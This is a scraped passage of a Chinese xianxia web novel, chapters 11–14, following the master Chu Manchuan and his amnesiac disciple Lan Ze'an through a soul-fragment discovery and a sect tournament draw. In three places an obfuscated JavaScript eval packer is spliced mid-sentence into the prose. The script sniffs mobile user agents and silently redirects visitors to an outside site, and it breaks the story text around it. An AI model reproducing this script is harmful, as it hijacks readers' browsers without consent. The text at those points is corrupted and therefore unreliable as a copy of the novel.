人是在他藏月山没错,但心却是长着翅膀径直飞去了那沧净山。 褚漫川猛地挥袖关了水镜,眼底的墨色深沉晦暗,满满得像是快要溢出来了。 而这时,屋外却响起了叮叮脆响。 其音明净澄澈,乍一听,竟有种听到琴弦拨动的感觉。 褚漫川的心情变得更差了。 能把剑使成这样,兰则安还真是有本事。 他先前还以为楚崖是天赋远不如前,没曾想竟是看走了眼,错把珍珠当鱼目。也难怪最开始兰则安不愿意来当他的弟子,现在想想,他把兰则安要来藏月山还真是屈才了啊。 褚漫川恶劣地勾了勾唇角。 不过嘛,仙域里弱肉强食,他还就偏喜欢强人所难了。 剑止雨停,万籁俱寂。 屋外出现了明显的仙力波动,兰则安从上仙一层的修为进阶成了上仙二层。 褚漫川冷笑了一下,还没来得及说些什么,忽地听见外面传来一声身体跌倒在地的闷响。 是兰则安。 下一秒,甚至还不到眨眼的功夫,褚漫川就现身在庭院里,半蹲在兰则安身旁。 被雨水打湿的地面上,一青一紫两种颜色的衣摆交叠在一起。 11. 第 11 章 怎么会这样?不是进阶了吗?修士怎么会在进阶时昏迷呢? 褚漫川皱眉瞧着他,眼底掠过一抹疑惑。 他仔细检查过兰则安的身体,并不曾发现有什么问题。 帝兰仙身虽弱,却也是相对于同阶妖族而言,并不至于弱到出现这种突然晕倒的情况,尤其还是在进阶之后,周身仙力最活跃之时。 他觉得自己好像忽略了什么东西,褚漫川面色冷凝,一边回想着与兰则安相遇后的细节,一边把手搭在兰则安的额头、探入一缕神识。 修士从魂魄中凝聚出元神,而元神则是修士本质的体现,神识即为元神往外的延伸,类似于元神的“眼睛”。 即便兰则安把以前的记忆忘了个干干净净,真的像变了个人似的,但他的元神也并不排斥褚漫川的神识。 褚漫川直接锁定了兰则安的元神。 可帝兰的元神……也没问题,甚至一丁点儿的问题都没有。 最初在沧净山,师鹤语要求看兰则安的元神,就是想确定他的身份。一个人的身形外貌都可以变,只有元神—— 等等!!! 褚漫川的脑中飞快掠过一道灵光,他意识到自己的想法其实不太严谨。因为更确切来说,是只有魂魄不能改变。 人有三魂七魄,无论是魔修、妖修还是鬼修,都不例外。当年他匆匆赶到上古神域,也是用了虞修教他的鬼域秘术才得以找到楚崖仅剩的一缕残魂,用养魂玉一直封印着,才没让他那丝魂魄之力消散在天地间。 后来,也是因为养魂玉的感应,他才确定兰则安就是楚崖,只是把魂魄彻底融入一株帝兰,重新渡劫修炼成上仙的楚崖。 妖族的元神形态不是人形,而是他们的真身。也正因此,兰则安数日前在沧净山出示元神时,呈现出来的是一朵青金色的兰花。 元神完好无损,自然也就证明魂魄完好无损。若是魂魄完好无损,那楚崖根本没必要用‘兰则安’这个身份回万世仙宗,是以,他最初才不确定楚崖是不是真的失忆。 他本来以为楚崖是有难言之隐,不想让黎修凡和师鹤语知晓他的身份,但后来回了藏月山,一系列明里暗里的试探才让他断定,楚崖是真的变成了兰则安,全然忘记了以前经历过的事情。 整个仙域,整个万世仙宗,整个藏月山,甚至连他褚漫川这个人,对兰则安而言都是陌生的,都是他踏入仙途之后走的第一步路。 褚漫川不知道楚崖究竟是用了什么法子,只是非常确定一件事,那就是楚崖的元神状态非常好,按理来说也是不应该失忆的,那为什么他现在跟以前完全不一样呢? 拿着一模一样的剑,却修出了不一样的道。 难道帝兰真身对他的影响就这么大吗? 大到彻底改变了他的剑,也改变了……他的道。 褚漫川闭上双目,眉宇间隐含着一抹若有所思的阴霾,魂魄比元神要难查探得多,即便是他,也费了好长时间才锁定兰则安的魂魄。 魂属阳,魄属阴,魂魄只有相依相合,人才能存活。[注1] 只是兰则安……或者说楚崖的这具身体,怎么会三魂少了一魂?! 褚漫川睁开眼,眼神复杂,神色中透露出一种难以言喻的忧虑。 不光是“魂”的缺失,楚崖还少了一魄,三魂七魄只余二魂六魄。 这也难怪自从见面以后,兰则安就给他一种直观上的虚弱感,原来竟是他魂魄缺失。 但他的元神无恙,这就表明那缺少的一魂一魄还没有消散,依然好好的存在着。虽然不知道在哪,也不知道楚崖是怎么做到的,但起码这个认知还是让褚漫川略略松了口气。 除此之外,他也算是终于弄清楚了楚崖“失忆”的根本原因。 他魂魄不全,记忆自然也是缺失的。 帝兰渡过雷劫、成功化形后,无论是修哪一道,随着实力的增强,他的元神力量都会越来越强。而元神力量的增长,就会致使元神与魂魄的联系越来越紧密,故此,兰则安才会突然昏迷。 但这样下去也不是个办法,魂魄分离不是一件好事,随着兰则安仙力的增长……褚漫川都很难想象他以后会遇见什么问题。 兰则安诞生于婆娑古境,而婆娑古境之中,就有仙域通往上古神域的入口。 上古神域是神族的古战场,相传十万年前的那场大战致使神族彻底灭亡,自此以后,仙魔鬼妖四族便是天赋再出众的修士,也只能止步金仙之境,再也不能往上一步。 除了婆娑古境,魔域、鬼域和妖域各有一处能通往上古神域的入口。 而褚漫川现在最想做的事,就是拎着兰则安去婆娑古境,或者去上古神域待上片刻,看能不能找到楚崖缺失的一魂一魄。 只要魂魄归位,楚崖的记忆就能恢复,那这七百年的这笔烂账就能彻底清算清算了。 褚漫川很久很久都没有过这样急切的心情了,他甚至有种回到了最开始学剑时候的感觉,满心满脑只想着这一件事。 像野火燎原,总之身体里就只剩下这个念头了,别的什么都没有了,也不重要了。 “……师尊。”兰则安喑哑的声音陡然响起,像是用尽了力气,音量极低极低,“我这是怎么了?” 他的声音被风一吹,几乎都要听不见了。 “谁知道呢?”褚漫川语气玩味,透着一股子漫不经心的味道:“可能是你太虚了吧。” 兰则安没多想,也没听懂他话里的深意,反倒顺着褚漫川的话答应了一声,轻蹙起眉头,无力地说:“我身体确实太弱了,我也不知道是什么原因。” “兰花纤细,看着就弱不禁风的,你身子差些倒也正常。”褚漫川一本正经的胡说八道:“为师倒是略通些医术,一会儿给你配些药,一日三次,给你好好补补。” 兰则安面色苍白,没有一丝血色。他的脑袋也昏沉沉的,四肢没有一点力气。 不像是修为提升了,反倒像是找人打了一架,还是没落着好的一架。 他从地上勉强撑着坐起身,气息混乱微弱,褚漫川瞧着他,脑子里莫名出现了一朵被风雨拍打、颤抖摇曳的兰花。 有点可怜,也有点脆弱。 说不清楚是为什么,看见这样的楚崖,褚漫川有些无法抑制的兴奋。 “则安。”褚漫川克制着强烈的情绪,温柔唤着兰则安的名字。他眉眼间还噙着分明的笑意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875596|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眸子里尽是对兰则安的关切之情,叫人一看就会觉得他是个对弟子极体贴、性子极温和的师尊。 “……师、师尊?”兰则安恍惚了一下。 他第一次听见师尊用这种语气叫他,整个人都怔住了,好半天没反应过来。 褚漫川还朝他伸出手:“快起来吧,地上凉。” 师尊……师尊他是在关心自己吗? 兰则安的目光从他的脸上一寸寸下移,最后定格在这只伸到他面前的手上。 这只手白玉一般清透无暇,掌心朝上,手指干净细长,骨节微微曲着,是一个示意他牵手的动作。 兰则安的心脏重重跳了一下,他慢慢抬手,指尖无意识地颤了颤。 他很轻很轻地握住褚漫川的手,也不敢用力,只是虚虚搭在上面。 迎面吹来的风似乎都变热了起来,头顶簌簌作响的红叶不断撩拨着他的心弦,激起一层层涟漪。 褚漫川攥紧兰则安的手,一瞬不瞬地看着他。 兰则安笔直地撞进那双漆黑的眼睛中,褚漫川专注地看着他,眼神深邃,里面氤氲着他看不懂的深意。 他顺着褚漫川的力道站起身,呐呐着说:“弟子多谢师尊。” “方才我听见你在练剑,你可是悟出自己的剑道了?”褚漫川率先松开手,若无其事地问道。 兰则安的手一直都是凉的,那抹让人心生眷恋的暖意刚一离开,他就想抓住,竟鬼使神差地伸出手指想要挽留。 但褚漫川动作更快一步,他面色如常地收回手后就关心起了兰则安的修炼,好似全然不曾察觉到兰则安的小动作。 兰则安的心里划过一道浅浅的失落,但他很快调整好情绪,道:“回禀师尊,弟子悟出自己的剑道了。” 褚漫川的表情僵硬了一瞬。 他很想拿青霄剑敲敲兰则安的脑袋,质问他:你那是剑道吗?亏你还有脸说!拿着宝剑去修心,搁藏月山修身养性呢? 他都可以想象出等到宗门大比的时候,师鹤语会是一副什么样的表情了。 “弟子也是从书房里的一本书上悟出来的剑道,就是那本《君子剑》,师尊,你有印象吗?”兰则安尾音轻扬,一听就知道他心情很好。 褚漫川声音冷淡,很煞风景地回他:“没印象。” 兰则安也不在意他的态度,只是斟酌着开口,很突然的换了个话题:“师尊,你知道……楚崖师兄的剑道吗?” “怎么?你很好奇?”褚漫川脸上看不出一点情绪,反倒反过来问他:“你问这个做什么?” 他的声音清凌凌的,语调也很平淡,没有丝毫起伏变化。 “我、弟子就是想知道,师尊知不知道。”兰则安吞吞吐吐道。 “本尊为什么要知道这种小事?”褚漫川轻嗤一声,漠然道:“一个死了的人,也值得本尊放在心上?” 兰则安愣了愣,没想到褚漫川会这样说。 师尊不是对楚崖师兄感情很深吗?不然为什么会在见他第一面时就指了他做弟子? 兰则安想不明白这其中的弯弯绕绕。 总之,无论师尊会不会发现,书房里的那本书,他都决定放回原位了。 12. 第 12 章 器合峰主峰,千重山。 今日是宗门大比初选赛的抽签日子,参赛的四峰弟子均要前往各自派系的主峰山脉,确定接下来三场比赛的对手。 兰则安也不例外,他自打加入万世仙宗以后就一直在藏月山练剑,这还是他第一次看见这么多同门师兄弟。 千重山上绿意盎然,种了一山的翠竹。越是靠近山顶,翠竹长得就越高大,层层叠叠的竹叶与云朵连在了一起,风一吹,青绿色的竹叶拨动着柔软的白云,让人觉得身心都跟着放松了下来。 兰则安站在竹林中,仔细感受着这里的灵力波动。 清幽的竹香萦绕在鼻间,一种玄妙的阵法走势缓缓出现在他脑海中。 千重山以竹为阵,以阵蕴竹,两者相得益彰,浑然天成。 “哼,没见识。”水镜外,褚漫川不悦地轻哼道:“段至那个老东西盯着看了半天也没发觉,警惕性也太低了。” 几乎是他话音刚落下,兰则安就抬脚继续朝山顶行进,隔着老远,一眼就瞧见了那身独一无二的白衣。 从上白到下,段至。 他直勾勾地盯着自己,乍一看特像是鬼域出来的勾魂使者。 这个想法在脑子里飞快的过了一下,兰则安没放在心上,坦然地朝段至略微颔首,简单行了一个弟子礼。 段至没搭理他,仍旧面无表情地盯着他看了两秒,转身走了。 “这老东西,心眼真是比针尖还小。”褚漫川不屑地瞥过去,面露讥讽:“一辈子都是这个德行,只怕是到死也改不了了。” 兰则安今日把长发束起,穿上了万世仙宗统一的蓝色仙衣,步履从容,行走间衣袂翻飞,远远看着竟有种乘风归去的错觉。 阳光穿过竹叶间的缝隙,投落一地金色的光影。兰则安走过时,头上的发冠折射出细碎的光芒,就像是从画中走出来的人物,一举一动都是说不出的雅致。 很快,就有人发现了这张生面孔,上来跟他打招呼:“这位仙友,你是哪座山的弟子,怎么之前从未见过你啊?” 兰则安侧过头,映入眼帘的是一双干净明亮的棕色眼瞳,正好奇地盯着他打量,一看就是涉世未深的模样,显然也是来千重山抽签的弟子。 他性格很是跳脱,不等兰则安回话,率先开口介绍起自己来:“我叫蓝义,蓝天的蓝,义气的义,是重剑山的弟子,上仙二层的修为,你呢?” 兰则安也学着他的样子,道:“我叫兰则安,兰花的兰,‘既来之,则安之’的那个‘则安’,是藏月山的弟子,也是上仙二层的修为。” “你就是那个藏霄仙尊新收的弟子?!”蓝义的嗓门骤然拔高,但下一秒意识到不对,他赶忙捂住嘴,压着声音又问了一遍:“就是你?” 他的眼睛瞪得滴溜圆,活像是一只从松树上探出脑袋的松鼠,四下看了看,没看到有别人,这才松了一口气。 兰则安被他这做贼心虚的表现逗得想笑:“就是我?很奇怪吗?” “没有没有没有!”蓝义把头摇得飞快,不假思索道:“你一点也不奇怪,是我比较奇怪!” “啊???”兰则安讶然。 别说,这个蓝义还真有点奇怪。 “我就是……”蓝义又看看四周,一脸纠结,几乎到了不吐不快的地步了,但他还是强忍着,半天只憋出了一句话:“我就是听说了一些事。” 兰则安没当回事,只是顺着他的意思随口一问:“什么事?” 两人逐渐接近千重山的大殿,兰则安远远就听见了那热闹的声音。 器合峰连同主峰在内,共有四十八座山峰,一山之主皆是真仙及以上修为,除却剑修、刀修这两种最常见的器修,还有枪修、戟修、斧修、鞭修等等。眼下宗门大比抽签,起码来了七八成器修弟子,你一言我一语,声音叠加之后,再被风一吹,真是哪哪都能听见。 “藏月山现在只有你一个人对不对?”眼看快走到大殿了,蓝义一把拽住兰则安的胳膊,小声问他。 兰则安莫名其妙地看了他一眼:“还有师尊。” “我是说,现在就只有你一个弟子。”蓝义用气音说话:“但是在你之前,还有另外一个人。” “你是说楚崖师兄吗?”兰则安还是不明白他为什么会是这种鬼鬼祟祟的神情。 “嘘——”蓝义慌忙给他使眼色,“别说那个名字!” 兰则安不明白:“为什么?” “哎?你知道他?!”这下,换成蓝义不明白了,“你是从哪儿听说他的?” 兰则安想了想,如实回道:“师尊跟我说过楚崖师兄。” “那你——”蓝义伸手挠挠鬓角处的头发,目光四处游走,瞧着就是副底气不足的样子,“我也是听别人说的,就是那个长相,你跟他……你们俩好像有点像。” “我知道。”兰则安波澜不惊,不疾不徐地问他:“你就是想跟我说这事?” 见他这么淡定,蓝义反而不淡定了:“你就没什么想说的吗?” “说什么?”兰则安更疑惑了。 蓝义狐疑地望着他,却见兰则安神情不似作伪,坦荡荡的与他对视。 “……你居然不在意?”蓝义不可置信地问道:“我们修仙之人,便是实力再低微,也要有个自己的样子。被别人当成另一个人,便是那个人再好,再完美,却也是不行的。” “可我就是我,我只是兰则安,我跟楚崖师兄是不一样的。”兰则安神色平静,声音沉稳有力。 我跟楚崖是不一样的。 水镜后,这句话就像是一记重锤狠狠敲在褚漫川心头,让他好半天没反应过来。 蓝义安静了好一会儿,才重重点头,道:“你说的没错,不管别人怎么想怎么说,反正最要紧的是你自个儿得想明白。” “我懂的。”兰则安微微一笑,好奇道:“对了,你刚才说,‘别说那个名字’,这是何意?” “这你不知道?”蓝义一副你别骗我的表情。 兰则安眨眨眼:“我真不知道。” 蓝义递过去一个只可意会不可言传的神色,道:“谁带你过来的?” 兰则安不解:“这有什么关系吗?” 水镜外,褚漫川也没明白。 蓝义凑近了些,声音小到几乎听不见:“因为黎师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875597|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄不喜欢听到我们议论楚崖师兄。” 他还不喜欢了?这不是明摆着心虚吗? 褚漫川眼中划过一道冷光。 “你肯定不知道,楚崖当年是为了救黎师兄才仙陨的。”说这话时,蓝义眼中充满了一种奇异的光芒,就好像七百年前他亲眼瞧见了一般。 兰则安思索了好一会儿,还是没法说服自己相信:“蓝义,你说的这些……都是道听途说吧?” “不是!我说的都是真的!而且大家都这么说!”蓝义看他不信,还有点急了,“当时守山的弟子说,楚崖是突然冲出去的,神色匆忙,不久后就传来他陨落的消息,而黎师兄就是最后一个见到楚崖的人。你说如果不是为了救黎师兄,好端端的,楚崖跑去上古神域做什么?” 兰则安:“这也不能代表楚崖师兄就是为了救——” “还有啊,楚崖仙陨之后,藏霄仙尊曾去过沧净山和宗主大吵了一架,还把器合峰的峰主之位给了现在的峰主,自此以后就外出游历去了,丝毫不过问宗门的事情。”蓝义似乎知道兰则安想说什么,又道:“在你之前,藏霄仙尊一直都只有楚崖这一个弟子,听说感情好得不得了,唯一的弟子死了,仙尊当然不愿意了!他去跟宗主吵,那不就说明楚崖是为了救黎师兄才陨落的吗?” 兰则安下颌线绷紧,半晌,他问道:“你知道楚崖师兄仙陨之时,是何修为吗?” “玄仙巅峰,半步金仙啊。”蓝义答得非常快,想都没想:“这个大家都知道。” “半、步、金、仙。”兰则安似喃喃自语,深沉的眼底,倏然燃烧起了炽热的火焰。 “那时候,黎师兄还只是真仙的修为,但自从楚崖仙陨之后,我听说黎师兄修炼都刻苦了许多。除了时不时去一趟婆娑古境,长年闭关,不见任何人。”蓝义叹息着说道:“这两人还真是有缘无份,可惜了啊。” 兰则安猛然回过神:“什么有缘无份?谁跟谁有缘无份?” “楚崖和黎师兄啊!怎么听我说半天,你都没听明白啊?!”蓝义理所当然道:“楚崖为了救黎师兄,都愿意去死了,这还不是爱情吗?” “这怎么能算是爱情呢?我觉得只是同门师兄弟罢了。而且你自己也说了,楚崖师兄是玄仙巅峰的修为,而黎师兄只是真仙的修为,无论遇到什么事,理应是楚崖师兄挡在前。”兰则安皱着眉头,十分严谨,“这跟爱情完全没有关系,自然也就称不上是有缘无份了。” 蓝义茫然地盯着兰则安,呆愣愣地问他:“可是大家都是这么说的啊?” “那你也要有自己的判断啊,不能人云亦云,别人说什么你都信。”兰则安温和地笑了,“方才你不是还劝我,我们修仙之人要有自己的样子吗?怎么反过来,你还糊涂起来了?” 蓝义一激灵,愕然道:“对哎,你不说我都没意识到,我自己说的话自己都没做到。” “那你可要记好啊,不能再忘了。”兰则安提醒道,声音清润。 蓝义一把揽住他的肩膀,语气亲热:“放心吧!师弟!你师兄我可不是那种说过就忘的人!” 褚漫川眯了眯眼,手一挥,关了水镜。 13. 第 13 章 [武道峰,白翀] [文渊峰,向南雪] [法悟峰,沈知节] 这便是宗门大比上,兰则安初选赛的三位对手了。 他把签子收好,没像其他人那样四处打听自己的对手,转身就准备往外走。 “兰则安!”蓝义兴致冲冲地朝他跑过来:“等等我啊!我跟你一起走!” 众弟子按照所在山峰站位,藏月山和重剑山恰好分布在大殿东西两侧,蓝义的声音吸引了不少参赛弟子的目光。 自打兰则安进了这大殿,他就能直观感受到许多落在他身上的视线,或明或暗。有单纯好奇的,也有明摆着看热闹、想看看他是什么反应的,更甚者还有几道隐晦的、带有明显恶意的目光。 现在蓝义扬声喊了这么一嗓子,那些目光的主人像是终于找到了一个光明正大的理由,清一色全都望向了兰则安。 兰则安淡定地站在原地,任由他们打量,脸上看不出任何情绪,从始至终都是那副平静无畏的模样。 殿内的所有弟子都穿着一模一样的衣裳,戴着一模一样的发冠,一眼看过去似乎都差不多,但兰则安身上莫名就散发着一种与众不同的气场。无形之中像是有一条鸿沟将他与其他人隔开,分明刚入宗门没多久,但他却给人一种历经岁月洗礼之后的冷静沉稳。 慢慢有人觉得没意思,收回了目光,转身去寻自己认识的人了。兰则安无视掉那些继续盯着他瞧的陌生人,看向蓝义。 蓝义身形有些单薄,一双偏圆的棕眸灵动清澈,泛着明亮的光泽。他行走间,身上透出的那股蓬勃朝气是兰则安化形之后,第一次在修士身上见到的。 “我们走吧,师弟。”蓝义跑过来跟他说:“重剑山跟藏月山在一个方向。” 兰则安颔首答应下来,走出大殿后,直至走到半山腰,他才出声问道:“上山的时候,师兄是故意的吧?” 他遥遥望向下山的石阶,眼底一片风平浪静,语气却是毋庸置疑的。 从他们站的这个地方眺望山顶,那座尖顶大殿就像一把直插云霄的长剑,叫人看上一眼就不住胆颤心惊。 蓝义浑不在意兰则安的语气,笑嘻嘻地答道:“恭喜你答对了!我就是实在好奇,继楚崖之后,藏霄仙尊又收了个什么样的弟子。” “不是都听说了,跟楚崖师兄长得很像吗?”兰则安拿他方才的话呛他。 蓝义却是噗嗤一声笑了出来,挥挥手,语气轻快地说:“师弟别恼嘛!虽然大家都那样说,但我却也是清楚的,若是师弟没有过人之处,即便是跟楚崖长得完全一样,藏霄仙尊也不会收下你的。” 兰则安不可置否地回了句:“那我就多谢师兄夸奖了。” “你别把那些人放在心上,他们就是看个热闹,毕竟修行一途也确实没什么好玩的事。”蓝义安慰道。 兰则安却是意味深长地瞥了他一眼:“好像第一个凑过来看热闹的人,是师兄吧?” “啊呀啊呀,你都叫我师兄了,看看怎么了嘛?”蓝义脸上挂着懒散笑意,轻飘飘地说:“哦对了,你明天的第一场比试,就是那个叫白翀的,他跟你一样,也是妖族,本体是一头小白狼哦。” “狼?”兰则安的第一场比试是跟武道峰,真身为狼,淬体修道倒也不算个例。 “余下两个人都是主峰的亲传弟子,你师尊面子大,你可就要小心了。”这句话,蓝义没说出声,而是悄悄给他传音。 兰则安眼眸微动,不动声色地斜过去一眼,但蓝义并没有看他,张嘴就道:“就是狼,我还赶巧见过一次他的真身,雪白雪白的,没有一丝杂色,老漂亮了!” 兰则安顺着他的话,客气道谢:“多谢师兄指点。” “咳!多大点事?谢什么!”蓝义洒脱一笑,周身洋溢着春日暖阳般的和煦气场。 真是个奇怪又矛盾的人,但他不讨厌。 一直到回到藏月山,兰则安都还在想蓝义这个人。 丝丝缕缕的花香扑鼻而来,香气很浅,也很清淡,若有若无的。兰则安诧异地去寻找花香飘来的地方,突然发现上山的道路两侧开了好多小小的野花。 清晨下山的时候明明还没有。 不对,还有藏月山,也不一样了。 他现在只是站在山脚,都能感受到充沛的灵力。抬头一看,树枝也被修剪过,那些横斜交错的枝桠被除去后,不光树的形态变好看了,整座山也焕然一新。 一束束光穿过树叶间,落了一地灿金色的光斑。燕语莺啼,尘埃缥缈如烟,兰则安只觉得自己仿若置身仙境。 藏月山似乎也有了养灵大阵,灵气纯粹充盈,兰则安举目远望,忽而有种身处梦境的恍惚感。 他放缓了呼吸,带着阳光和林木味道的空气在他身体四周徘徊不散,一种奇异的亲切感渗透心脏,带来鼓鼓涨涨的感觉。 “你还要站多久?是不认识上来的路了?” 褚漫川的声音猝不及防响起,兰则安眨眨眼,眉头舒展开,扬起一抹惬意的笑:“师尊!弟子马上就到!” 兰则安走到山顶,看着只剩一半树冠的红枫,脚步稍稍一顿。 往下看,庭院也变得敞亮起来,半院阳光半院树荫,全然不复之前压抑之况,兰则安走到院子里,都还没彻底回过神来。 褚漫川先开口问他了:“此行可还顺利?” 他坐在枫树下的那张木桌前,桌上放了两盏茶,都还冒着袅袅热气。 兰则安走过来时,清甜的茶香被风卷着送进他鼻腔,他低头一看,还是那盏一芽一叶的拂春薄雪。 他在褚漫川对面坐下,唇角牵起,道:“回禀师尊,一切都很顺利,只待明日辰时初去千秋山即可。” 千秋山是万世仙宗独立的一座山,其上分布着大大小小的擂台,每处擂台都被防御阵法笼罩,是平日里各峰弟子切磋武艺时的最佳场所,每届宗门大比也都是在此山上举办。 褚漫川垂眸看着茶盏中澄清的茶水,久久不语。 千重山的大殿发生了什么他是知道的,便是不去看水镜,也能猜到个七八分。 此前,楚崖是万世仙宗同辈中的第一人。 无论是天赋、心性还是领悟力,皆是其他弟子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875598|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望尘莫及的高度。 现在他‘陨落’了,可惜之余,更多人却是松了口气。 七百年的时间,不足以让他们忘记楚崖,但却能让他们心底生出可笑的妄想。 打不过楚崖,能打过楚崖的替代品,就好像……赢了楚崖似的。 宗门大比只针对上仙和灵仙修为的弟子,或许他该庆幸,兰则安只是上仙二层的修为,不然只怕这场比赛,要比现在复杂多了。 “明日大比,你要尽量低调行事,如今你刚刚修炼,为师不想让你太过锋芒毕露,你可明白?”褚漫川紧盯着兰则安的双眼,神情严肃。 兰则安知道褚漫川心里担心什么,他指尖微动,摩挲着茶盏细腻的纹理,泰然自若道:“师尊放心,弟子都明白的。” “你若是真明白,那为师现在就不用多说这句话了。”褚漫川扯了下唇,明显是不相信。 兰则安无奈:“师尊,弟子不会逞强的。若是真技不如人,弟子也不会强撑。” 褚漫川抬眼,慢悠悠问:“明天你的第一场比赛,是跟哪个峰的弟子打?” “武道峰,白翀。”话音落下,兰则安斟酌片刻,补充道:“弟子听闻他也是妖族,真身是狼。” “你觉得你的胜算大吗?”褚漫川的眼底黑沉沉的,充满了神秘之意。 兰则安认真思考了好一会儿,老实地摇摇头,道:“弟子没有见过他,弟子也不敢断言输赢。” “倘若为师让你一定要赢呢?”褚漫川似是随口一问。 但兰则安却毫不犹豫:“那弟子一定会拼尽全力,即便是——” 褚漫川不想听他说那些,直接打断,冷声道:“那倘若为师想让你输了这一场比试呢?” 听见这句话时,兰则安第一反应就是自己听错了,可是他看褚漫川完全不像是说玩笑话的样子,就像是…… 像是真的想让他输掉这场比赛。 可是为什么?他都还没开始打呢。 难道师尊认定他一定会输吗?难道他没有赢的可能吗? 兰则安心里有些失落,但他一句话也没说,只垂下了头,盯着那盏白茶发呆。 褚漫川也不意外他这个反应,指骨叩响桌面,等兰则安望过来时,道:“为师又没说你赢不了他,你这幅样子,是不满为师的决定了?” 褚漫川的声音温润清晰,像是清澈的溪水流过兰则安心头,润物细无声,分明没有一句软话,却无端让兰则安有种被哄着的错觉。 “师尊。”兰则安有了底气,“弟子虽然输得起,却是不愿故意输的。” “我没让你故意输。”褚漫川一点也不客气,“只是我不觉得,在合理的切磋范围内,你能敌得过他。” “师尊。”兰则安拖着尾音,不满中又带着一丝丝撒娇的意味:“哪有长他人志气,灭自己威风的?” “便是输了,也不算是灭了你的威风。”褚漫川以手支颐,眼底有着明晃晃的锐利,“你是我褚漫川的弟子,无论输赢,你都是威风的,这是我给你的底气。” 兰则安脑子嗡的一下,再也听不见其他。 14. 第 14 章 翌日,千秋山。 兰则安过来的路上,再次‘偶遇’了蓝义。 蓝义厚着脸皮上前跟他打招呼,挑着眉,吊儿郎当地说:“好巧啊,师弟。” “是啊,真巧。”兰则安不咸不淡地开口:“其实下一次,师兄可以直接在藏月山山脚等我的。” 蓝义也不害臊,咧着嘴就笑了起来,眉眼间没有一丝阴霾:“行啊,那就这么说定了,下次我想找你的时候,就去藏月山山脚等你。” 兰则安神情寡淡,只轻轻“嗯”了一下。 他面上虽不显,但心里却在嘀咕,蓝义这个人真有意思,每次见面,都能给他不一样的感觉。 “其实我还有件事想跟你商量,只是昨天忘了说。”蓝义与他并肩同行,摇头晃脑地说着:“你整天闷在藏月山也怪没意思的,要不要出去玩玩?” 兰则安若有所思地看了他一眼,道:“你想去哪儿?” “婆娑古境。”蓝义斩钉截铁道。 “去那儿做什么?”兰则安反问了句。 “婆娑古境历来就是修士们最中意的历炼之地,其中包含九九八十一层小世界。上仙、灵仙、真仙、玄仙、金仙五重境界的修士皆有各自对应的界域,无论实力如何,都有各自合适的去处。”蓝义目光晦暗,流露出一抹辨不分明的意味,“我们上仙修为的弟子时常会聚在一起,去婆娑古境碰碰运气。师弟你不是来自那里嘛?我就想着过来问问你,看你有没有打算回去看看?” 他这话问得倒也敞亮,开门见山,只差把‘想让你带路’这个意思写在脸上了。 只是,虽然兰则安是婆娑古境化形的妖族,但他其实并不熟悉婆娑古境。 他眼睑低垂,眼底飞快闪过深思:“师兄,我得先请示师尊,才能给你答案。” “那是自然的,你刚拜入藏霄仙尊门下,凡事是得先问过师尊的意思。”蓝义听罢,也附和他。 兰则安和蓝义到千秋山的时候,原本空旷的广场上乌泱泱站满了人。五峰弟子齐聚,从左往右依次是器合峰、法悟峰、文渊峰、武道峰和医圣峰,各峰下不单独分山而站。他们也没心思再往前挤,就近找了个偏僻的地方站着。 宗门大比有一个简短的开启仪式,兰则安久违见到了师鹤语,他站在高台上,说着一些振奋人心的话,但视线却精准投递向自己,眼底还划过浅浅笑意。 师鹤语今日穿的是一件蓝色的鎏金长袍,玉冠束发,气质清绝脱俗,却又透着一种不容忽视的威仪。 两次见面,师鹤语给兰则安的印象大体都是和善的。即便他是这仙域第一宗门的宗主,但他还是给人一种亲和力十足的感觉。 当然,兰则安心里门儿清,师鹤语也是看在自己师尊的面子上。出门在外,他的一切都是师尊给的。想到这,他略微颔首,遥遥向师鹤语行了一礼,以示回应。 除却医圣峰的医修,在初选赛上,余下四峰参赛的弟子每人都有三场比赛。为了公平起见,万世仙宗特设七天为一个赛事,前后共三场,最后统计每位弟子的得分,只有总分在两分及以上的弟子才能参加挑战赛。 初选赛的第一场赛事安排已经出来了,兰则安拿出签子一看,他的第一场比试就在今天,十七号擂台。 蓝义的比试在明天,眼下也没事,索性陪他一起去了十七号擂台。 千秋山上有一块巨大的光影石,修士可以用灵力幻化成文字留在上面,以前这上面写的是千秋山的戒律,但今日宗门大比,自然随之换成了赛事的详细信息。 包括擂台的序号、位置分布,以及两位参赛弟子的名字、修为和所在山峰。 兰则安经过时,一眼就瞧见了他的名字。 十七号擂台:武道峰破石山白翀,器合峰藏月山兰则安,上仙二层。 “我跟你说,师弟,你可别不当回事。一会儿你能早点打完就早点走,切莫在千秋山逗留。”蓝义悄悄在他耳边低语,“不然晚了,你想走都走不掉。” 